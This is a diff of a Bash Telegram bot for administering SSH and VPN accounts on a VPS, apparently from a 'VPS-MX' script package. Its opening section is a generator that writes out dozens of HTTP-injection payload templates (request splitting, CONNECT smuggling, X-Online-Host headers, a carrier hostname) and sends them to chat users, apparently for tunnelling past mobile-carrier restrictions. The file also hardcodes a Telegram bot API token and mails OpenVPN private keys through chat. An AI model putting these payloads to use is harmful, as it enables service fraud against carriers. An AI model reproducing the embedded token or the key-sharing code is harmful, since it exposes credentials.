+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/  [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr]
+[realData][crlf][split]GET http://mhost/  HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf]
+[raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf]
+[raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf]
+GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf]
+[raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf]
+[raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' > $HOME/$1
+}
+fail_fun () {
+local bot_retorno="$LINE\n"
+          bot_retorno+=" -->>> MODO DE USO\n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="/gerar $(fun_trans "Host") $(fun_trans "Solicitud") $(fun_trans "Conexion")\n"
+          bot_retorno+="$(fun_trans "Ejemplo"):\n"
+          bot_retorno+="/gerar www.host.com (1 a 9) (1 a 3)\n"
+          bot_retorno+="/gerar www.host.com 2 1\n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="$(fun_trans "Metodos Solicitud")\n${LINE}\n1-GET, 2-CONNECT, 3-PUT, 4-OPTIONS, 5-DELETE, 6-HEAD, 7-TRACE, 8-PROPATCH, 9-PATCH\n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="$(fun_trans "Metodos Conexion")\n${LINE}\n1-REALDATA, 2-NETDATA, 3-RAW\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+		  unset bot_retorno
+return 0
+}
+valor1="$1" #Entrada Host 
+valor2="127.0.0.1" #Entrada IP
+valor3="$2" #Metodo Requisicao
+valor4="$3" #Metodo Conexao
+[[ "$1" = "" ]] && fail_fun && return 0
+[[ "$2" = "" ]] && fail_fun && return 0
+[[ "$3" = "" ]] && fail_fun && return 0
+case $valor3 in
+    1)req="GET";;
+    2)req="CONNECT";;
+    3)req="PUT";;
+    4)req="OPTIONS";;
+    5)req="DELETE";;
+    6)req="HEAD";;
+    7)req="PATCH";;
+    8)req="POST";;
+    *)req="GET";;
+esac
+case $valor4 in
+     1)in="realData";;
+     2)in="netData";;
+     3)in="raw";;
+     *)in="netData";;
+esac
+gerar_pays Payloads.txt
+sed -i "s;realData;abc;g" $HOME/Payloads.txt
+sed -i "s;netData;abc;g" $HOME/Payloads.txt
+sed -i "s;raw;abc;g" $HOME/Payloads.txt
+sed -i "s;abc;$in;g" $HOME/Payloads.txt
+sed -i "s;GET;$req;g" $HOME/Payloads.txt
+sed -i "s;get;$req;g" $HOME/Payloads.txt
+sed -i "s;mhost;$valor1;g" $HOME/Payloads.txt
+sed -i "s;mip;$valor2;g" $HOME/Payloads.txt
+if [[ -e $HOME/Payloads.txt ]]; then
+local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "PAYLOADS GERADAS CON EXITO")\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+local bot_retorno2
+          ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \
+                             --document @$HOME/Payloads.txt
+return 0                           
+else
+local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "PAYLOADS NO GERADAS")\n"
+          bot_retorno+="$(fun_trans "Algun  Error")\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+fi
+}
+scan_fun () {
+error_fun () {
+local bot_retorno="$LINE\n"
+          bot_retorno+=" -->>> MODO DE USO\n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="Ejemplo: /scan www.host.com\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+}
+[[ -z $1 ]] && error_fun && return 0
+local HOST=$1
+local RETURN=$(curl -sSL "$HOST"|grep -Eoi '<a [^>]+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|uniq)
+if [[ -z $RETURN ]]; then
+local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "Ningun Host Encontrado en Dominio"): ${1}\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+else
+i=1
+local bot_retorno="$LINE\n"
+         bot_retorno+="$(fun_trans "SUBDOMINIOS ENCONTRADOS")\n$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+unset bot_retorno
+while read hostreturn; do
+local bot_retorno+="$hostreturn\n"
+      if [[ $i -gt 20 ]]; then
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "*$(echo -e $bot_retorno)*" \
+							--parse_mode markdown
+	  unset bot_retorno
+	  unset i
+	  fi
+let i++
+done <<< "$RETURN"
+[[ ! -z $bot_retorno ]] && {
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "*$(echo -e $bot_retorno)*" \
+							--parse_mode markdown
+	}
+fi
+}
+
+openadd_fun () {
+[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] || return 0
+[[ -e /etc/openvpn/openvpn-status.log ]] || return 0
+newclient "$nomeuser" "$senhauser"
+[[ -z $1 ]] && client="adm" || client="$1"
+cp /etc/openvpn/client-common.txt $HOME/$client.ovpn
+echo "<key>
+$(cat /etc/openvpn/client-key.pem)
+</key>
+<cert>
+$(cat /etc/openvpn/client-cert.pem)
+</cert>
+<ca>
+$(cat /etc/openvpn/ca.pem)
+</ca>" >> $HOME/$client.ovpn
+[[ ! -z $1 ]] && [[ ! -z $2 ]] && sed -i "s;auth-user-pass;<auth-user-pass>\n$1\n$2\n</auth-user-pass>;g" $HOME/$client.ovpn
+local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "Para Generar Archivos Con Autenticación Automatica Utilice"):\n/openadd usuario senha\n$LINE\n"
+          bot_retorno+="$(fun_trans "ARCHIVO OPENVPN GENERADO CON EXITO")\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+local bot_retorno2
+          ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \
+                             --document @$HOME/$client.ovpn
+rm $HOME/$client.ovpn
+return 0
+}
+cript_fun () {
+if [[ -z $2 ]]; then
+local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "Modo de uso"):\n"
+          bot_retorno+="/criptar texto_for_cript\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "_$(echo -e $bot_retorno)_" \
+							--parse_mode markdown
+return 0
+else
+local array=($@)
+for((i=1; i<=${#array[@]}; i++)); do
+unset txtofus
+local number=$(expr length "${array[$i]}")
+         for((e=1; e<$number+1; e++)); do
+         local txt[$e]=$(echo "${array[$i]}" | cut -b $e)
+                   case ${txt[$e]} in
+                   ".")txt[$e]="#";;
+                   "#")txt[$e]=".";;
+                   "1")txt[$e]="%";;
+                   "%")txt[$e]="1";;
+                   "2")txt[$e]="?";;
+                   "?")txt[$e]="2";;
+                   "3")txt[$e]="&";;
+                   "&")txt[$e]="3";;
+                   "/")txt[$e]="!";;
+                   "!")txt[$e]="/";;
+                   "a")txt[$e]="k";;
+                   "k")txt[$e]="a";;
+                   "s")txt[$e]="w";;
+                   "w")txt[$e]="s";;
+                   "h")txt[$e]="y";;
+                   "y")txt[$e]="h";;
+                   "o")txt[$e]="P";;
+                   "P")txt[$e]="o";;
+                   "v")txt[$e]="T";;
+                   "T")txt[$e]="v";;
+                   "f")txt[$e]="Z";;
+                   "Z")txt[$e]="f";;
+                   esac
+          txtofus+="${txt[$e]}"
+          done
+[[ -z $returntxt ]] && returntxt="$(echo $txtofus | rev)" || returntxt="$returntxt $(echo $txtofus | rev)"
+done
+unset txtofus
+local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "SU TEXTO ENCRIPTADO O DESCRIPTADO"):\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "*$(echo -e $bot_retorno)*" \
+							--parse_mode markdown
+local bot_retorno="$returntxt\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "_$(echo -e $bot_retorno)_" \
+							--parse_mode markdown
+fi
+}
+language_fun () {
+if [[ -z $2 || -z $3 ]]; then
+local bot_retorno="$LINE\n"
+           bot_retorno+=" -->>> MODO DE USO\n"
+		  bot_retorno+="$LINE\n"
+          bot_retorno+="/lang (pt, fr, es, en...) (text)\n"
+          bot_retorno+="/lang es Hello\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "_$(echo -e $bot_retorno)_" \
+							--parse_mode markdown
+return 0
+else
+local array=($@)
+local RETORNO
+for((i=2; i<=${#array[@]}; i++)); do
+local RET=$(source trans -b :$2 "${array[$i]}")
+[[ -z $RETORNO ]] && RETORNO=$RET || RETORNO="$RETORNO $RET"
+done
+local bot_retorno="$LINE\n"
+          bot_retorno+="* Su Traduccion: *\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "*$(echo -e $bot_retorno)*" \
+							--parse_mode markdown
+          bot_retorno="$(echo $RETORNO|sed -e 's/[^a-z0-9 -]//ig')\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "_$(echo -e $bot_retorno)_" \
+							--parse_mode markdown
+return 0
+fi
+}
+teste_fun () {
+local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "USUARIO"): ${chatuser}\n"
+          bot_retorno+="$(fun_trans "ARGUMENTOS"): ${comando[@]}\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "_$(echo -e $bot_retorno)_" \
+							--parse_mode markdown
+#local bot_retorno="$LINE\n"
+#          bot_retorno+="$(fun_trans "ESSE USUARIO"): ${chatuser}\n"
+#          bot_retorno+="$(fun_trans "ESSES ARGUMENTOS"): ${comando[@]}\n"
+#          bot_retorno+="$LINE\n"
+#          ShellBot.editMessageText --chat_id ${message_chat_id[$id]} --message_id ${reply_to_message_message_id[$id]} --text "$(echo -e $bot_retorno)" --parse_mode markdown
+#return 0
+}
+
+## RENOVAR USUSARIO
+
+renew_user_fun () {
+#nome dias
+fail_fun () {
+local bot_retorno="*$LINE*\n"
+          bot_retorno+=" -->>> MODO DE USO\n"
+		  bot_retorno+="*$LINE*\n"
+          bot_retorno+="/renovar usuario dias\n"
+		  bot_retorno+="_Ejemplo:_\n"
+		  bot_retorno+="/renovar CARLOS 30\n"
+          bot_retorno+="*$LINE*\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+		  unset bot_retorno
+return 0
+}
+[[ "$1" = "" ]] && fail_fun && return 0
+[[ "$2" = "" ]] && fail_fun && return 0
+error_fun () {
+local bot_retorno="*$LINE*\n"
+          bot_retorno+="*❗️ USUARIO NO REGISTRADO  ❗️*\n"
+          bot_retorno+="*$LINE*\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+							
+return 0
+}
+
+[[ -z $1 ]] && error_fun && return 0
+cup1="$1"
+userva="$(cat /etc/VPS-MX/VPS-MXuser|grep -w "$cup1"|cut -d'|' -f1)"
+
+[[ -z $userva ]] && error_fun && return 0
+
+datexp=$(date "+%F" -d " + $2 days") && valid=$(date '+%C%y-%m-%d' -d " + $2 days")
+chage -E $valid $1 2> /dev/null || return 1
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")          
+   useredit=$(cat ${USRdatabase}|grep -w "$1")
+   pass=$(echo $useredit|cut -d'|' -f2)
+   limit=$(echo $useredit|cut -d'|' -f4)
+   echo "$1|$pass|${datexp}|$limit" > ${USRdatabase}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   done 
+   }
+  
+NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
+NOM1=`echo $NOM` > /dev/null 2>&1
+IP="$(cat /etc/VPS-MX/MEUIPvps)"
+  
+   local bot_retorno="*$LINE*\n"
+          bot_retorno+="*CUENTA RENOVADA* \n"
+		  bot_retorno+="*$LINE*\n"
+		  bot_retorno+="▪️ _Usuario:_ *$1* \n"
+		  bot_retorno+="▪️ _Dias Agregados:_  *$2* \n"
+          bot_retorno+="🕰 _Ahora expira:_\n👉 *$datexp* \n"
+          bot_retorno+="*$LINE*\n"
+		  bot_retorno+="▪️ _VPS: _ *$NOM1* \n"
+		  bot_retorno+="▪️ _IP:_ *$IP* \n"
+		  bot_retorno+="*$LINE*\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+							
+}
+
+#INFO SSH
+
+info_sshp () {
+error_fun () {
+local bot_retorno="*$LINE*\n"
+          bot_retorno+="*MODO DE USO:*\n"
+		  bot_retorno+="*$LINE*\n"
+		  bot_retorno+="Pon el Comando /SSHI (INGRESA NOMBRE DE USUARIO) \n"
+		  bot_retorno+="*$LINE*\n"
+          bot_retorno+="_Ejemplo: /SSHI NetVPS-xzcmo _\n"
+          bot_retorno+="*$LINE*\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+}
+
+[[ -z $1 ]] && error_fun && return 0
+
+VPSsec=$(date +%s)
+
+sen=$(cat /etc/VPS-MX/VPS-MXuser|grep -w "$1"|cut -d '|' -f2)
+             [[ -z $sen ]] && sen="???"
+             DateExp="$(cat /etc/VPS-MX/VPS-MXuser|grep -w "$1"|cut -d'|' -f3)"
+             if [[ ! -z $DateExp ]]; then             
+             DataSec=$(date +%s --date="$DateExp")
+             [[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="${red}[EXPIRADA]" || EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]"
+             else
+             EXPTIME="???"
+             fi
+             limit=$(cat /etc/VPS-MX/VPS-MXuser|grep -w "$1"|cut -d '|' -f4)
+             [[ -z $limit ]] && limit="???"
+			 
+local bot_retorno="*$LINE*\n"
+         bot_retorno+="*📝 INFO GENERAL SSH 📝*\n"
+         bot_retorno+="*$LINE*\n"       
+         bot_retorno+="▪️ Usuario: *$1 *\n"
+         #bot_retorno+="$(fun_trans "Contraseña"): $sen\n"
+         bot_retorno+="▪️ Dias Restantes: *$EXPTIME *\n"
+         bot_retorno+="▪️ Limite de Usuarios: *$limit *\n"
+         bot_retorno+="*$LINE*\n"
+             ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+							
+        
+return 0
+}
+## PID DROPBEAR
+
+droppids () {
+local pids
+local port_dropbear=`ps aux | grep dropbear | awk NR==1 | awk '{print $17;}'`
+cat /var/log/auth.log|grep "$(date|cut -d' ' -f2,3)" > /var/log/authday.log
+#cat /var/log/auth.log|tail -1000 > /var/log/authday.log
+local log=/var/log/authday.log
+local loginsukses='Password auth succeeded'
+[[ -z $port_dropbear ]] && return 1
+for port in `echo $port_dropbear`; do
+ for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
+  pids="${pids}$pidx\n"
+ done
+done
+for pid in `echo -e "$pids"`; do
+  pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
+  i=0
+    for pidend in $pidlogs; do
+    let i++
+    done
+    if [[ $pidend ]]; then
+    login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
+    PID=$pid
+    user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
+    waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
+    [[ -z $user ]] && continue
+	echo "$user|$PID|$waktu"
+    fi
+done
+}
+
+## B/U USER
+blo_unb_fun () {
+error_fun () {
+local bot_retorno="*$LINE*\n"
+          bot_retorno+="*MODO DE USO:*\n"
+		  bot_retorno+="*$LINE*\n"
+		  bot_retorno+="Pon el Comando /bloquear (INGRESA NOMBRE DE USUARIO) \n"
+		  bot_retorno+="\t---- O ----- \n"
+		  bot_retorno+="Pon el Comando /desbloquear (INGRESA NOMBRE DE USUARIO) \n"
+		  bot_retorno+="*$LINE*\n"
+          bot_retorno+="_Ejemplo: bloquear Ale2020 _\n"
+		  bot_retorno+="_Ejemplo: desbloquear Ale2020 _\n"
+          bot_retorno+="*$LINE*\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+}
+
+[[ -z $1 ]] && error_fun && return 0
+local USRloked="/etc/VPS-MX/VPS-MX-userlock"
+local LIMITERLOG="${USRdatabase}/Limiter.log"
+local LIMITERLOG2="${USRdatabase}/Limiter2.log"
+if [[ $2 = "-loked" ]]; then 
+[[ $(cat ${USRloked}|grep -w "$1") ]] && return 1
+echo " $1 (BLOCK-MULTILOGIN) $(date +%r--%d/%m/%y)"
+limseg="$(less /etc/VPS-MX/controlador/tiemdes.log)"
+KEY="862633455:AAGJ9BBJanzV6yYwLSemNAZAVwn7EyjrtcY"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
+🔹 CUENTA: $1 
+❗️📵 BLOCK FIJO/TEMPORAL 📵❗️
+🔓( AUTOUNLOCK EN $limseg SEGUNDOS) 🔓"
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
+
+pkill -u $1 &>/dev/null
+
+fi
+if [[ $(cat ${USRloked}|grep -w "$1") ]]; then
+usermod -U "$1" &>/dev/null
+local bot_retorno="*$LINE*\n"
+         bot_retorno+="*⭕️ UNLOCK USUARIO ⭕️*\n"
+         bot_retorno+="*$LINE*\n"       
+         bot_retorno+="▪️ _Usuario:_ *$1 * _Desbloqueado_\n" 
+         bot_retorno+="*$LINE*\n"
+             ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+
+
+[[ -e ${USRloked} ]] && {
+   newbase=$(cat ${USRloked}|grep -w -v "$1")
+   [[ -e ${USRloked} ]] && rm ${USRloked}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRloked}
+   done
+   }
+[[ -e ${LIMITERLOG} ]] && [[ $(cat ${LIMITERLOG}|grep -w "$1") ]] && {
+   newbase=$(cat ${LIMITERLOG}|grep -w -v "$1")
+   [[ -e ${LIMITERLOG} ]] && rm ${LIMITERLOG}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${LIMITERLOG}
+   echo $value >> ${LIMITERLOG}   
+      
+   done
+
+}
+return 1
+else
+usermod -L "$1" &>/dev/null
+pkill -u $1 &>/dev/null
+
+droplim=`droppids|grep -w "$1"|cut -d'|' -f2` 
+kill -9 $droplim &>/dev/null
+
+echo $1 >> ${USRloked}
+
+local bot_retorno="*$LINE*\n"
+         bot_retorno+="*❌ BLOCK USUARIO ❌*\n"
+         bot_retorno+="*$LINE*\n"       
+         bot_retorno+="▪️ _Usuario:_ *$1 * _Bloqueado_\n" 
+         bot_retorno+="*$LINE*\n"
+             ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+#notifi &>/dev/null
+return 0
+fi
+
+} 
+
+###LECTURA DE USER BLOC
+
+userblock_lee () {
+
+local HOST="/etc/VPS-MX/VPS-MX-userlock"
+local RETURN=$(cat $HOST)
+if [[ -z $RETURN ]]; then
+local bot_retorno="$LINE\n"
+          bot_retorno+="NINGUN USUARIO BLOQUEADO\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+else
+i=1
+local bot_retorno="*$LINE*\n"
+         bot_retorno+="* ❌ USUARIOS BLOQUEADOS ❌*\n$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+unset bot_retorno
+while read hostreturn; do
+local bot_retorno+="$hostreturn\n"
+      if [[ $i -gt 25 ]]; then
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "*$(echo -e $bot_retorno)*" \
+							--parse_mode markdown
+	  unset bot_retorno
+	  unset i
+	  fi
+let i++
+done <<< "$RETURN"
+[[ ! -z $bot_retorno ]] && {
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "*$(echo -e $bot_retorno)*" \
+							--parse_mode markdown
+	}
+fi
+
+local bot_retorno="*$LINE*\n"
+         bot_retorno+="ESTOS SON USUARIOS CON BAN\n"
+		 bot_retorno+="*$LINE*\n"
+         ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "*$(echo -e $bot_retorno)*" \
+							--parse_mode markdown
+								 						 
+	return 0
+}
+
+
+# LOOP ESCUTANDO O TELEGRAN
+while true; do
+    ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext) --timeout 30
+    for id in $(ShellBot.ListUpdates); do
+	    chatuser="$(echo ${message_chat_id[$id]}|cut -d'-' -f2)"
+	    echo $chatuser >&2
+	    comando=(${message_text[$id]})
+	    case ${comando[0]} in
+	      /[Tt]este|[Tt]este)teste_fun &;;
+		  /[Aa]juda|[Aa]juda|[Hh]elp|/[Hh]elp)ajuda_fun &;;
+		  /[Ss]tart|[Ss]tart|[Cc]omecar|/[Cc]omecar)ajuda_fun &;;
+		  /[Ss]SHI|[Ss]SHI)info_sshp "${comando[1]}" &;;
+		  /[Aa]DMIN|[Aa]DMIN)ativarid_fun "${comando[1]}" "${comando[2]}" "$chatuser";;
+		  *)if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS}|grep -w "${chatuser}") ]]; then
+             case ${comando[0]} in
+			 
+			 ##PANEL SSH 
+			 
+             [Oo]nline|/[Oo]nline|[Oo]nlines|/[Oo]nlines)online_fun &;;
+             [Cc]riptar|/[Cc]riptar|[Cc]ript|/[Cc]ript)cript_fun "${comando[@]}" &;;
+             [Aa]gregar|/[Aa]gregar)useradd_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" "${comando[4]}" &;;
+             [Ee]liminar|/[Ee]liminar)userdell_fun "${comando[1]}" &;;
+			 [Rr]enovar|/[Rr]enovar)renew_user_fun "${comando[1]}" "${comando[2]}" &;;
+			 [Bb]loquear|/[Bb]loquear)blo_unb_fun "${comando[1]}" &;;
+			 [Dd]esbloquear|/[Dd]esbloquear)blo_unb_fun "${comando[1]}" &;;
+			 [Vv]erbloqueados|/[Vv]erbloqueados)userblock_lee &;;
+			 ##HERRAMIENTAS
+             [Aa]dmins|/[Aa]dmins)loguin_fun &;;
+             [Ii]nfovps|/[Ii]nfovps)infovps &;;
+             [Ll]ang|/[Ll]ang)language_fun "${comando[@]}" &;;
+             [Oo]penadd|/[Oo]penadd|[Oo]pen|/[Oo]pen)openadd_fun "${comando[1]}" "${comando[2]}" &;;
+             [Gg]erar|/[Gg]erar|[Pp]ay|/[Pp]ay)paygen_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" &;;
+             [Uu]suarios|/[Uu]suarios|[Uu]ser|/[Uu]ser)info_fun &;;
+             [Ss]can|/[Ss]can)scan_fun "${comando[1]}" &;;
+			 
+             *)ajuda_fun;;
+			 
+             esac
+             else
+             [[ ! -z "${comando[0]}" ]] && blockfun &
+             fi;;
+           esac
+    done
+done

+ 88 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/Crear-Demo.sh

@@ -0,0 +1,88 @@
+#!/bin/bash
+#24/01/2021
+clear
+clear
+msg -bar
+rm -rf /etc/VPS-MX/demo-ssh 2>/dev/null
+mkdir /etc/VPS-MX/demo-ssh 2>/dev/null
+SCPdir="/etc/VPS-MX"
+SCPusr="${SCPdir}/controlador"
+
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
